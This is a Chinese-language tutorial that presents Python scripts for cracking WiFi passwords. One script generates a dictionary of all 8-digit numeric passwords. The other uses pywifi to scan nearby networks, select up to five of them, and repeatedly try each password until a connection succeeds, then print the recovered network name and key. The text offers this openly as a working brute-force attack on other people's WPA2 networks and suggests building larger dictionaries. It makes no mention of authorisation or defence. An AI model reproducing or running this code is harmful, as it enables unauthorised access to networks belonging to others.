'python版本的WiFi萬能鑰匙'

一、前言說明

本機運行環境：系統環境Win10，運行環境Python3.6，運行工具Pycharm

需要Python的包有：pywifi

這是一種暴力破解wifi的模式，需要的時間比較長，本文主要提供一個破解思路

二、思路介紹

先生成一個密碼字典（此步驟也可以從網上下載字典）

循環用密碼字典的每個密碼去嘗試連接Wifi，直到成功

三、源碼設計

1. 密碼字典TXT文件生成，本文提供的比較簡單，實用破解可以根據一般密碼設置，去生成比較大比較全的密碼字典

import itertools as its
if __name__ == '__main__':
 words_num = "1234567890"
 words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 r = its.product(words_num, repeat=8)
 dic = open("password-8位數字.txt", "w")
 for i in r:
 dic.write("".join(i))
 dic.write("".join("\\n"))
 dic.close()

2. 暴力破解密碼，用時較長GetWifiPsd.py

import pywifi
from pywifi import const # 引用一些定義
import time
def getwifi(wifilist, wificount):
 wifi = pywifi.PyWiFi() # 抓取網卡接口
 ifaces = wifi.interfaces()[0] # 獲取網卡
 ifaces.scan()
 time.sleep(8)
 bessis = ifaces.scan_results()
 allwifilist = []
 namelist = []
 ssidlist = []
 for data in bessis:
 if data.ssid not in namelist: # 去掉重複的WIFI名稱
 namelist.append(data.ssid)
 allwifilist.append((data.ssid, data.signal))
 sorted(allwifilist, key=lambda st: st[1], reverse=True)
 time.sleep(1)
 n = 0
 if len(allwifilist) is not 0:
 for item in allwifilist:
 if (item[0] not in ssidlist) & (item[0] not in wifilist):
 n = n + 1
 if n <= wificount:
 ssidlist.append(item[0])
 print(allwifilist)
 return ssidlist
def getifaces():
 wifi = pywifi.PyWiFi() # 抓取網卡接口
 ifaces = wifi.interfaces()[0] # 獲取網卡
 ifaces.disconnect() # 斷開無限網卡連接
 return ifaces
def testwifi(ifaces, ssidname, password):
 profile = pywifi.Profile() # 創建wifi連接文件
 profile.ssid = ssidname # 定義wifissid
 profile.auth = const.AUTH_ALG_OPEN # 網卡的開放
 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
 profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
 profile.key = password # wifi密碼
 ifaces.remove_all_network_profiles() # 刪除其他所有配置文件
 tmp_profile = ifaces.add_network_profile(profile) # 加載配置文件
 ifaces.connect(tmp_profile) # 連接wifi
 time.sleep(5) # 5秒內能否連接上
 if ifaces.status() == const.IFACE_CONNECTED:
 return True
 else:
 return False
def beginwork(wifinamelist):
 ifaces = getifaces()
 path = r"password-8位數字.txt"
 # path = r"password-常用密碼.txt"
 files = open(path, 'r')
 while True:
 try:
 password = files.readline()
 password = password.strip('\\n')
 if not password:
 break
 for wifiname in wifinamelist:
 print("正在嘗試：" + wifiname + "," + password)
 if testwifi(ifaces, wifiname, password):
 print("Wifi賬號:" + wifiname + "，Wifi密碼:" + password)
 wifinamelist.remove(wifiname)
 break
 if not wifinamelist:
 break
 except:
 continue
 files.close()
if __name__ == '__main__':
 wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
 wifinames = getwifi(wifinames_e, 5)
 print(wifinames)
 beginwork(wifinames)

四、最後小結

上文生成字典有很多冗餘密碼成分，會大大加長破解時間，實用時可以更改密碼生成方式
